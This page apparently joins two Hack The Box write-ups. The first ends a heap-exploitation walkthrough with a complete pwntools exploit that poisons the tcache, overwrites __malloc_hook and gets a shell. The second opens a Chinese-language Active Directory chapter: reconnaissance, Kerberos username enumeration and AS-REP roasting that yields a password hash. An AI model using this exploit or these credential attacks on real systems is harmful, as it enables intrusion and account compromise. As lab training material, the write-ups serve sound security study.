 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/toxin10.jpg)

``` bash
gef➤  heap bins
─────────────────────────────────────── Tcachebins for arena 0x7f24c9088c40 ───────────────────────────────────────
Tcachebins[idx=5, size=0x70] count=1  ←  Chunk(addr=0x5570f53ef260, size=0x70, flags=PREV_INUSE)  ←  [Corrupted chunk at 0x4242424242424242]
──────────────────────────────────────── Fastbins for arena 0x7f24c9088c40 ────────────────────────────────────────
Fastbins[idx=0, size=0x20] 0x00
Fastbins[idx=1, size=0x30] 0x00
Fastbins[idx=2, size=0x40] 0x00
Fastbins[idx=3, size=0x50] 0x00
Fastbins[idx=4, size=0x60] 0x00
Fastbins[idx=5, size=0x70] 0x00
Fastbins[idx=6, size=0x80] 0x00
─────────────────────────────────────── Unsorted Bin for arena 'main_arena' ───────────────────────────────────────
[+] Found 0 chunks in unsorted bin.
──────────────────────────────────────── Small Bins for arena 'main_arena' ────────────────────────────────────────
[+] Found 0 chunks in 0 small non-empty bins.
──────────────────────────────────────── Large Bins for arena 'main_arena' ────────────────────────────────────────
[+] Found 0 chunks in 0 large non-empty bins.
```

As you can see above, the Tcache was poisoned by "B" characters, now when you try to allocate another chunk with add_toxin(100,1,"C"*8) you will write data where the 0x5570f53ef260 points to:

``` bash
gef➤  heap bins tcache
─────────────────────────────────────── Tcachebins for arena 0x7f24c9088c40 ───────────────────────────────────────
Tcachebins[idx=5, size=0x70] count=1  ←  Chunk(addr=0x5570f53ef260, size=0x70, flags=PREV_INUSE)  ←  [Corrupted chunk at 0x4242424242424242]
gef➤  x/gx 0x5570f53ef260
0x5570f53ef260: 0x4242424242424242
gef➤  heap bins tcache
─────────────────────────────────────── Tcachebins for arena 0x7f24c9088c40 ───────────────────────────────────────
Tcachebins[idx=5, size=0x70] count=1  ←  Chunk(addr=0x5570f53ef260, size=0x70, flags=PREV_INUSE)  ←  [Corrupted chunk at 0x4242424242424242]
gef➤  x/gx 0x5570f53ef260
0x5570f53ef260: 0x4343434343434343
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/toxin11.jpg)

So now, after another allocation, you will write where 4242424242424242 points to, as before — you can see below, how the Tcache pointer to the next allocation is stored:

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/toxin12.jpg)

As you can conclude, another allocation results in an infinite loop of the binary because we cannot allocate memory in the 0x4242424242424242.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/toxin13.jpg)

Although this could be utilized to exploit the binary, by poisoning the Tcache with a valid pointer in the binary.

The structure of the first 16B of memory where the Tcachepointer points to is important and it should look like this:

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/toxin14.jpg)

(1) is the next chunk length and (2) is a pointer to the next chunk, fortunately, there is a pointer in the binary which points to a similar structure in the binary and this is toxinfreed-19 .

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/toxin15.jpg)

``` bash
gef➤  x &toxinfreed
0x5570f51a0050 <toxinfreed>:    0x0000000000000001
gef➤  x/2gx 0x5570f51a0050 - 19
0x5570f51a003d: 0x24c9089680000000      0x000000000000007f
```

What's even more fortunate, you can overwrite toxins using the above flaw, by allocating 3rd chunk (toxin[2]) because toxinfreed is just before the toxins array:

``` bash
gef➤  x/16gx &toxinfreed
0x5570f51a0050 <toxinfreed>:    0x0000000000000001      0x0000000000000000
0x5570f51a0060 <toxins>:        0x00005570f53ef260      0x0000000000000000
0x5570f51a0070 <toxins+16>:     0x0000000000000000      0x0000000000000000
0x5570f51a0080 <sizes>: 0x0000000000000064      0x0000000000000000
0x5570f51a0090 <sizes+16>:      0x0000000000000000      0x0000000000006000
0x5570f51a00a0: 0x0000000000000000      0x0001000300000000
0x5570f51a00b0: 0x0000000000000340      0x0000000000000000
0x5570f51a00c0: 0x0018000300000000      0x0000000000005200
```

5. Exploit the binary — overwriting __malloc_hook:

In this case, every allocation will call __malloc_hook and __malloc_hook will call every function that points to.

So in order to use the above-described flaw, you can overwrite toxin[0] with a toxinfreed-19 using edit_toxin and then set the __malloc_hook pointer using add_toxin to allocate bytes from toxinfreed-19 address.

``` bash
### Small proof of concept how the memory is being overwritten

add_toxin(0x70,0,"A"*8)
drink_toxin(0)
edit_toxin(0,p64(0x55555555803d)) # toxinfreed - 19
add_toxin(100,1,"C"*8)
add_toxin(100,2,"D"*8 + "E"*8 + "F"*8 + "G" *8 ) # Overwriting
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/toxin16.jpg)

As you can see above, you can overwrite everything that is needed to successfully exploit this binary.

Now do some calculation — because one_gadget and __malloc_hook address should be added to the leaked libc base address.

Additionally, you have to align pointers properly in memory, with null bytes.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/toxin17.jpg)

In the end, you have to call malloc() which is called when you add a new toxin, which in fact call __malloc_hook, which points to one_gadget address and thus calls it — and that's it!

final Local && Remote exploit:

local test this script:

``` bash
### Local && Remote exploit - 

from pwn import *

context.log_level = "info"
p = process("./toxin") # uncomment for the local
#p = remote("138.68.131.63","31501") # uncomment for the remote
elf = ELF("/root/hackthebox/challenge/pwn/Toxin/toxin")
Libc = elf.libc
sleep(0.5)

def fs_vuln(c):
    p.sendline("4")
    p.recv()
    p.send("%"+str(c)+"$p\x00")
    leak = (p.recvline()).split(" ")[0] # uncomment for the local
    p.recvline()
    #leak = (p.recvline()).split(" ")[3] # uncomment for the remote 
    print(str(c) + ": " + leak)
    p.recv()
    return leak

def add_toxin(length,index,data):
    p.sendline("1")
    sleep(0.5)
    p.recv()
    p.sendline(str(length))
    sleep(0.5)
    p.recv()
    p.sendline(str(index))
    sleep(0.5)
    p.recv()
    p.send(data)
    sleep(0.5)
    p.recv()

def edit_toxin(index,data):
    p.sendline("2")
    sleep(0.5)
    p.recv()
    sleep(0.5)
    p.sendline(str(index))
    sleep(0.5)
    p.recv()
    p.send(data)
    sleep(0.5)
    p.recv()

def drink_toxin(index):
    p.sendline("3")
    sleep(0.5)
    p.recv()
    p.sendline(str(index))
    sleep(0.5)
    p.recv()

### Leak & convert & calculate ---
libc_leak  = int(fs_vuln(3),16) - 0x110081
elf_leak = int(fs_vuln(9),16) -  0x1284
log.success("[+] Libc base: " + hex(libc_leak))
log.success("[+] Elf  base: " + hex(elf_leak))

add_toxin(100,0,"A"*8)
drink_toxin(0)
edit_toxin(0,p64(elf_leak + elf.symbols["toxinfreed"] - 0x13))
print "[+] leaked {toxinfreed - 0x13} addr: ", hex((elf_leak + elf.symbols["toxinfreed"] - 0x13))

add_toxin(100,1,"C"*8)
payload = "\x00"*35
payload += p64(libc_leak + Libc.symbols['__malloc_hook'])
payload += p64(0)*3
print "[+] payload: ", payload
print "[+] leaked __malloc_hook: ", hex((libc_leak + Libc.symbols['__malloc_hook']))

add_toxin(100,2,payload)
edit_toxin(0,p64(libc_leak + 0x10a38c))
print "[+] leaked onegadget addr: ", hex((libc_leak + 0x10a38c))
print "[+] Call __malloc_hook and get the shell..."
### Call __malloc_hook and get the shell ---

p.sendline("1")
p.recv()
p.sendline("1")
p.recv()
p.sendline("1")

p.interactive()
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/toxin18.jpg)

use it against remote binary, as well with one modification commented out above.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/toxin19.jpg)

``` bash
┌──(root💀kali)-[~/hackthebox/challenge/pwn/Toxin]
└─# python exploit1.py 
[+] Opening connection to 64.227.38.214 on port 30461: Done
[*] '/root/hackthebox/challenge/pwn/Toxin/toxin'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
    RUNPATH:  './lib/'
[*] u'/root/hackthebox/challenge/pwn/Toxin/lib/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
3: 0x7f4874fa6081
9: 0x5582a0aa5284
[+] [+] Libc base: 0x7f4874e96000
[+] [+] Elf  base: 0x5582a0aa4000
[+] leaked {toxinfreed - 0x13} addr:  0x5582a0aa803d
[+] payload:  \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1cuH\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
[+] leaked __malloc_hook:  0x7f4875281c30
[+] leaked onegadget addr:  0x7f4874fa038c
[+] Call __malloc_hook and get the shell...
[*] Switching to interactive mode

Toxin chemical formula length: Toxin index: $ id
uid=1000(pwn) gid=1000(pwn) groups=1000(pwn)
$ whoami
pwn
$ ls
flag.txt
lib
toxin
$ cat flag.txt
HTB{tc4ch3_t0x1n4t10n???_0r_tc4ch3_p01So1n1NG??+F0rm4t...4m@ZiNg!!!}
```
<!-- kb:end toxin -->

</details>




# ACL、Shadow Credentials 与 Kerberos 委派

域内权限变化通常表现为目录属性、组成员和票据的连续变化。本章保留 Absolute、Intelligence 和 Rebound 的原账户路径，分别标明认证限制、对象控制和委派前提。

<nav class="kb-tools" aria-label="章节操作">
<a href="/knowledge/">知识库目录</a>
<a href="/guide/">研究导读</a>
<a href="/knowledge/delegation/source.md" download>下载 Markdown</a>
<button type="button" data-expand-evidence>展开全部技术记录</button>
</nav>



## 分析重点

Absolute 的禁用 NTLM、交互登录权限与成员回滚影响每次工具调用。

Intelligence 连接 DNS、gMSA 与服务票据，时钟同步是原环境的实际问题。

Rebound 的继承 ACL、cross-session relay、KCD 与 RBCD 分支均保留原失败和成功返回。

## 案例与技术索引

| 分析入口 | 实验来源 | 技术点 |
| --- | --- | --- |
| [Kerberos 专用认证与 ACL 路径](#case-htb-absolute) | htb-absolute | Kerberos、ACL、Shadow Credentials、KrbRelay |
| [DNS 记录、gMSA 与服务委派](#case-intelligence) | intelligence | DNS、gMSA、Kerberos、委派 |
| [对象继承、跨会话 Relay 与 RBCD](#case-rebound) | rebound | Kerberos、RBCD、gMSA、ACL |

<a id="case-htb-absolute"></a>

## Kerberos 专用认证与 ACL 路径

禁用 NTLM、账户限制和组成员回滚影响工具选择。保留 AS-REP、BloodHound、Shadow Credentials、交互登录及 KrbRelay 的成功与失败分支。

<p class="kb-provenance">来源 htb-absolute · 原记录 2023-05-29 · 64 个代码块 · 22 处图片引用</p>

<details class="kb-evidence" id="record-htb-absolute">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start htb-absolute -->

#### 简述

本文是insane难度的HTB absolute机器的域渗透部分，其中大量的Kerberos，ACL，KrbRelay，bloodhound，Shadow Credentials Attack，ldap enumeration，PTH，GROUPS权限修改，interactive session等域渗透只是细节是此box的特色，主要参考[0xdf's blog absolute walkthrough](https://0xdf.gitlab.io/2023/05/27/htb-absolute.html)和[HTB的absolute官方writeup paper](https://app.hackthebox.com/machines/Absolute/walkthroughs)记录这篇博客加深记忆和理解，及供后续做深入研究查阅，备忘。

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/Absolute.png)



#### 信息收集
#### nmap

``` bash
root@fdvoid0# nmap -p- --min-rate 10000 10.10.11.181
Starting Nmap 7.80 ( https://nmap.org ) at 2023-05-21 06:36 EDT
Nmap scan report for 10.10.11.181
Host is up (0.087s latency).
Not shown: 65509 closed ports
PORT      STATE SERVICE
53/tcp    open  domain
80/tcp    open  http
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
5985/tcp  open  wsman
9389/tcp  open  adws
47001/tcp open  winrm
49664/tcp open  unknown
49665/tcp open  unknown
49666/tcp open  unknown
49667/tcp open  unknown
49673/tcp open  unknown
49674/tcp open  unknown
49675/tcp open  unknown
49686/tcp open  unknown
49692/tcp open  unknown
49699/tcp open  unknown
49703/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 8.50 seconds

root@fdvoid0# nmap -sCV -p 53,80,88,135,139,389,445,464,593,636,3268,3269,5985,9389 10.10.11.181
Starting Nmap 7.80 ( https://nmap.org ) at 2023-05-21 06:37 EDT
Nmap scan report for 10.10.11.181
Host is up (0.088s latency).

PORT     STATE SERVICE       VERSION
53/tcp   open  domain?
| fingerprint-strings:
|   DNSVersionBindReqTCP:
|     version
|_    bind
80/tcp   open  http          Microsoft IIS httpd 10.0
| http-methods:
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Absolute
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2023-05-21 17:38:06Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: absolute.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc.absolute.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc.absolute.htb
| Not valid before: 2022-06-09T08:14:24
|_Not valid after:  2023-06-09T08:14:24
|_ssl-date: 2023-05-21T17:40:40+00:00; +6h59m59s from scanner time.
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: absolute.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc.absolute.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc.absolute.htb
| Not valid before: 2022-06-09T08:14:24
|_Not valid after:  2023-06-09T08:14:24
|_ssl-date: 2023-05-21T17:40:39+00:00; +7h00m00s from scanner time.
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: absolute.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc.absolute.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc.absolute.htb
| Not valid before: 2022-06-09T08:14:24
|_Not valid after:  2023-06-09T08:14:24
|_ssl-date: 2023-05-21T17:40:40+00:00; +6h59m59s from scanner time.
3269/tcp open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: absolute.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc.absolute.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc.absolute.htb
| Not valid before: 2022-06-09T08:14:24
|_Not valid after:  2023-06-09T08:14:24
|_ssl-date: 2023-05-21T17:40:39+00:00; +7h00m00s from scanner time.
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open  mc-nmf        .NET Message Framing
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port53-TCP:V=7.80%I=7%D=5/21%Time=6469F493%P=x86_64-pc-linux-gnu%r(DNSV
SF:ersionBindReqTCP,20,"\0\x1e\0\x06\x81\x04\0\x01\0\0\0\0\0\0\x07version\
SF:x04bind\0\0\x10\0\x03");
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 6h59m59s, deviation: 0s, median: 6h59m59s
| smb2-security-mode:
|   2.02:
|_    Message signing enabled and required
| smb2-time:
|   date: 2023-05-21T17:40:25
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 161.96 seconds
```

IIS版本表明Absolute正在运行Windows 10/Server 2016或更高版本。LDAP扫描显示了dc.absolute.htb的hostname。现在把它和基本域添加到的/etc/hosts文件中:

``` bash
10.10.11.181 dc.absolute.htb absolute.htb
```

有一个7小时的时差，如果要做任何Kerberos相关的认证需要注意。

注意到WinRM(5985)在找到creds时是打开的

#### SMB - TCP 445

无法在没有密码的情况下连接到SMB:

``` bash
┌──(root💀kali)-[~/hackthebox/machine/absolute]
└─# crackmapexec smb 10.10.11.181 --shares
SMB         10.10.11.181    445    DC               [*] Windows 10.0 Build 17763 x64 (name:DC) (domain:absolute.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.181    445    DC               [-] Error enumerating shares: STATUS_USER_SESSION_DELETED

┌──(root💀kali)-[~/hackthebox/machine/absolute]
└─# crackmapexec smb 10.10.11.181 --shares -u fd0 -p ''
SMB         10.10.11.181    445    DC               [*] Windows 10.0 Build 17763 x64 (name:DC) (domain:absolute.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.181    445    DC               [-] absolute.htb\fd0: STATUS_LOGON_FAILURE
```

#### LDAP - TCP 389+

Ldapsearch将给出基本命名上下文，它与absolute.htb匹配:

``` bash
┌──(root💀kali)-[~/hackthebox/machine/absolute]
└─# ldapsearch -H ldap://dc.absolute.htb -x -s base namingcontexts
# extended LDIF
#
# LDAPv3
# base <> (default) with scope baseObject
# filter: (objectclass=*)
# requesting: namingcontexts
#

#
dn:
namingcontexts: DC=absolute,DC=htb
namingcontexts: CN=Configuration,DC=absolute,DC=htb
namingcontexts: CN=Schema,CN=Configuration,DC=absolute,DC=htb
namingcontexts: DC=DomainDnsZones,DC=absolute,DC=htb
namingcontexts: DC=ForestDnsZones,DC=absolute,DC=htb

# search result
search: 2
result: 0 Success

# numResponses: 2
# numEntries: 1
```

尝试获取任何额外信息需要认证:

``` bash
┌──(root💀kali)-[~/hackthebox/machine/absolute]
└─# ldapsearch -H ldap://dc.absolute.htb -x -b "DC=absolute,DC=htb"
# extended LDIF
#
# LDAPv3
# base <DC=absolute,DC=htb> with scope subtree
# filter: (objectclass=*)
# requesting: ALL
#

# search result
search: 2
result: 1 Operations error
text: 000004DC: LdapErr: DSID-0C090A5C, comment: In order to perform this opera
 tion a successful bind must be completed on the connection., data 0, v4563

# numResponses: 1
```

#### DNS - TCP/UDP 53

可以尝试一个zone transfer，但失败了:

``` bash
┌──(root💀kali)-[~/hackthebox/machine/absolute]
└─# dig +noall +answer @10.10.11.181 axfr absolute.htb                                                                            1 ⨯
; Transfer failed.
```

可以确认已经知道的两个名字:

``` bash
┌──(root💀kali)-[~/hackthebox/machine/absolute]
└─# dig +noall +answer @10.10.11.181 absolute.htb
absolute.htb.           600     IN      A       10.10.11.181

┌──(root💀kali)-[~/hackthebox/machine/absolute]
└─# dig +noall +answer @10.10.11.181 dc.absolute.htb
dc.absolute.htb.        1200    IN      A       10.10.11.181
```

用dnsenum暴力破解子域。确认在上面手动识别的内容，并通过暴力破解找到了其他子域:

``` bash
┌──(root💀kali)-[~/hackthebox/machine/absolute]
└─# dnsenum --dnsserver 10.10.11.181 -f /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt absolute.htb
dnsenum VERSION:1.2.6

-----   absolute.htb   -----


Host's addresses:
__________________

absolute.htb.                            600      IN    A        10.10.11.181


Name Servers:
______________

dc.absolute.htb.                         1200     IN    A        10.10.11.181


Mail (MX) Servers:
___________________



Trying Zone Transfers and getting Bind Versions:
_________________________________________________

unresolvable name: dc.absolute.htb at /usr/bin/dnsenum line 900.

Trying Zone Transfer for absolute.htb on dc.absolute.htb ...
AXFR record query failed: no nameservers


Brute forcing with /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt:
______________________________________________________________________________________

dc.absolute.htb.                         1200     IN    A        10.10.11.181
gc._msdcs.absolute.htb.                  600      IN    A        10.10.11.181
domaindnszones.absolute.htb.             600      IN    A        10.10.11.181
forestdnszones.absolute.htb.             600      IN    A        10.10.11.181

absolute.htb class C netranges:
________________________________


Performing reverse lookup on 0 ip addresses:
_____________________________________________

0 results out of 0 IP addresses.

absolute.htb ip blocks:
________________________

done.
```

然而这些都没什么用。

#### Website - TCP 80

该网站是一个专注于设计和图像的简单页面:

图像每隔几秒旋转一次。唯一的链接指向模板。

#### 技术栈

HTTP响应头只表示IIS，没有其他内容:

``` bash
HTTP/1.1 200 OK
Content-Type: text/html
Last-Modified: Tue, 07 Jun 2022 19:29:10 GMT
Accept-Ranges: bytes
ETag: "0877fdca47ad81:0"
Server: Microsoft-IIS/10.0
Date: Sun, 21 May 2023 23:50:51 GMT
Connection: close
Content-Length: 2909
```

首页本身加载为index.html，这表明它可能只是一个静态站点。

404页面看起来很像IIS默认的404。

旋转的图片似乎是在一个 hero-slider 和 owl-carousel div:

#### 目录爆破

使用feroxbuster:

``` bash
┌──(root💀kali)-[~/hackthebox/machine/absolute]
└─# feroxbuster -u http://absolute.htb

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.9.1
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://absolute.htb
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.9.1
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404      GET       29l       95w     1245c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
301      GET        2l       10w      146c http://absolute.htb/js => http://absolute.htb/js/
200      GET       85l      196w     2909c http://absolute.htb/
301      GET        2l       10w      150c http://absolute.htb/images => http://absolute.htb/images/
301      GET        2l       10w      147c http://absolute.htb/css => http://absolute.htb/css/
301      GET        2l       10w      150c http://absolute.htb/Images => http://absolute.htb/Images/
301      GET        2l       10w      149c http://absolute.htb/fonts => http://absolute.htb/fonts/
301      GET        2l       10w      147c http://absolute.htb/CSS => http://absolute.htb/CSS/
301      GET        2l       10w      146c http://absolute.htb/JS => http://absolute.htb/JS/
301      GET        2l       10w      146c http://absolute.htb/Js => http://absolute.htb/Js/
301      GET        2l       10w      147c http://absolute.htb/Css => http://absolute.htb/Css/
301      GET        2l       10w      150c http://absolute.htb/IMAGES => http://absolute.htb/IMAGES/
301      GET        2l       10w      149c http://absolute.htb/Fonts => http://absolute.htb/Fonts/
301      GET        2l       10w      147c http://absolute.htb/CSS => http://absolute.htb/CSS/
200      GET     7808l    48362w  3771054c http://absolute.htb/images/hero_4.jpg
301      GET        2l       10w      146c http://absolute.htb/JS => http://absolute.htb/JS/
301      GET        2l       10w      146c http://absolute.htb/Js => http://absolute.htb/Js/
301      GET        2l       10w      147c http://absolute.htb/Css => http://absolute.htb/Css/
200      GET     6692l    42749w  3290518c http://absolute.htb/images/hero_5.jpg
200      GET        7l      277w    44342c http://absolute.htb/js/owl.carousel.min.js
301      GET        2l       10w      150c http://absolute.htb/IMAGES => http://absolute.htb/IMAGES/
403      GET       29l       92w     1233c http://absolute.htb/fonts/icomoon/
200      GET    22590l   126364w  9918283c http://absolute.htb/images/hero_6.jpg
301      GET        2l       10w      163c http://absolute.htb/fonts/icomoon/fonts => http://absolute.htb/fonts/icomoon/fonts/
200      GET     1306l     7961w   733740c http://absolute.htb/images/hero_1.jpg
200      GET      948l     7256w   690337c http://absolute.htb/images/hero_3.jpg
200      GET      145l      442w     4030c http://absolute.htb/css/style.css
301      GET        2l       10w      149c http://absolute.htb/Fonts => http://absolute.htb/Fonts/
200      GET        7l      689w    63240c http://absolute.htb/js/bootstrap.min.js
200      GET        2l     1283w    86926c http://absolute.htb/js/jquery-3.3.1.min.js
200      GET     4919l     8218w    79820c http://absolute.htb/fonts/icomoon/style.css
200      GET        7l     2103w   160392c http://absolute.htb/css/bootstrap.min.css
...[snip]...
```

没发现其它有用的东西

#### Auth as d.klay
#### 生成 Username 字典
#### Image Metadata

使用一个简单的Bash循环从carousel下载六个"hero"图片，

``` bash
for i in $(seq 1 6); do wget http://absolute.htb/images/hero_${i}.jpg; done
```

使用exiftool查看图像上的元数据:

``` bash
┌──(root💀kali)-[~/hackthebox/machine/absolute]
└─# exiftool hero_1.jpg
ExifTool Version Number         : 12.57
File Name                       : hero_1.jpg
Directory                       : .
File Size                       : 407 kB
File Modification Date/Time     : 2022:06:07 15:45:20-04:00
File Access Date/Time           : 2023:05:29 02:44:24-04:00
File Inode Change Date/Time     : 2023:05:29 02:44:24-04:00
File Permissions                : -rw-r--r--
File Type                       : JPEG
File Type Extension             : jpg
MIME Type                       : image/jpeg
Exif Byte Order                 : Little-endian (Intel, II)
X Resolution                    : 72
Y Resolution                    : 72
Resolution Unit                 : inches
Artist                          : James Roberts
Y Cb Cr Positioning             : Centered
Quality                         : 60%
XMP Toolkit                     : Image::ExifTool 11.88
Author                          : James Roberts
Creator Tool                    : Adobe Photoshop CC 2018 Macintosh
Derived From Document ID        : 6413FD608B5C21D0939F910C0EFBBE44
Derived From Instance ID        : 6413FD608B5C21D0939F910C0EFBBE44
Document ID                     : xmp.did:887A47FA048811EA8574B646AF4FC464
Instance ID                     : xmp.iid:887A47F9048811EA8574B646AF4FC464
DCT Encode Version              : 100
APP14 Flags 0                   : [14], Encoded with Blend=1 downsampling
APP14 Flags 1                   : (none)
Color Transform                 : YCbCr
Image Width                     : 1900
Image Height                    : 1150
Encoding Process                : Baseline DCT, Huffman coding
Bits Per Sample                 : 8
Color Components                : 3
Y Cb Cr Sub Sampling            : YCbCr4:4:4 (1 1)
Image Size                      : 1900x1150
Megapixels                      : 2.2
```

James Roberts是“Author” 和 “Artist”。其他的没有“Artist”，但他们都有一个“Author”字段。

#### Generate Users List

有了users列表，就可以测试Kerberos，看看是否有有效的用户名。得到一个users列表:

``` bash
┌──(root💀kali)-[~/hackthebox/machine/absolute]
└─# for i in $(seq 1 6); do exiftool hero_${i}.jpg | grep Author | awk '{print $3 " " $4}'; done | tee users
James Roberts
Michael Chaffrey
Donald Klay
Sarah Osvald
Jeffer Robinson
Nicole Smith
```

可以采用这些方法并手工生成可能的常用用户名列表，但使用[username-anarchy](https://github.com/urbanadventurer/username-anarchy)生成用户名列表更容易:

``` bash
┌──(root💀kali)-[~/hackthebox/machine/absolute]
└─# /root/username-anarchy/username-anarchy -i users | tee usernames
james
jamesroberts
james.roberts
jamesrob
jamerobe
jamesr
j.roberts
jroberts
rjames
r.james
robertsj
roberts
roberts.j
roberts.james
jr
michael
michaelchaffrey
michael.chaffrey
...[snip]...
```

#### 寻找有效用户名

kerbrute是一种使用Kerberos进行暴力破解的工具。其中一个选项，userenum将检查字典中的哪些名称是有效的用户名:

``` bash
┌──(root💀kali)-[~/hackthebox/machine/absolute]
└─# /root/kerbrute-master/kerbrute userenum --dc dc.absolute.htb -d absolute.htb usernames

    __             __               __
   / /_____  _____/ /_  _______  __/ /____
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/

Version: dev (n/a) - 05/29/23 - Ronnie Flathers @ropnop

2023/05/29 03:06:48 >  Using KDC(s):
2023/05/29 03:06:48 >   dc.absolute.htb:88

2023/05/29 03:06:49 >  [+] VALID USERNAME:       j.roberts@absolute.htb
2023/05/29 03:06:49 >  [+] VALID USERNAME:       m.chaffrey@absolute.htb
2023/05/29 03:06:51 >  [+] VALID USERNAME:       s.osvald@absolute.htb
2023/05/29 03:06:51 >  [+] VALID USERNAME:       j.robinson@absolute.htb
2023/05/29 03:06:51 >  [+] VALID USERNAME:       d.klay@absolute.htb
2023/05/29 03:06:52 >  [+] VALID USERNAME:       n.smith@absolute.htb
2023/05/29 03:06:57 >  Done! Tested 88 usernames (6 valid) in 8.120 seconds
```

很明显，这个domain使用的是[first initial].[lastname]作为用户名的语法。

或者，crackmapexec也可以完成这个爆破任务

#### AS-Rep-Roast
#### 抓取hash

没有密码，仍然无法连接到域来尝试Bloodhound或Kerberoasting。检查AS-Rep-Roast-able用户:

``` bash
┌──(root💀kali)-[~/hackthebox/machine/absolute]
└─# GetNPUsers.py -dc-ip dc.absolute.htb -usersfile valid_users absolute.htb/                                                     1 ⨯
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[-] User j.roberts@absolute.htb doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User m.chaffrey@absolute.htb doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User s.osvald@absolute.htb doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User j.robinson@absolute.htb doesn't have UF_DONT_REQUIRE_PREAUTH set
$krb5asrep$23$d.klay@absolute.htb@ABSOLUTE.HTB:7babac3563f9d82cdd68fc5f6a8c35bf$6f67d29d9f1811e4fe60990d208c59ecf1850e55cc44ac5d2d31e8db12d663b514a2ab8f186fb70475960feffa9244139f153276a20dcbe4aa8d39739f419e6d19c13d4304c167c3854afa3da678b0594aa746b8f42ad39ef55c20aa501f817ba52722ab2c75b5eaeddf5ef8008bd3e61b2d19b672b7bb1db571b5c8d6cfe3ae357c731fa8c9bea2dad013b5b3439b2b0c4cbaff742d08dcfc1f7217f4c1818face9910b051b19567bdf0a0d68d715750d7cbad67c2c56064d1b8e5c3bdf7604fa408f76fc72012061bd2de8be211d57dddb04f93bf4122cb8d8a3d82be8c18e472184e798ae2477d70dea34
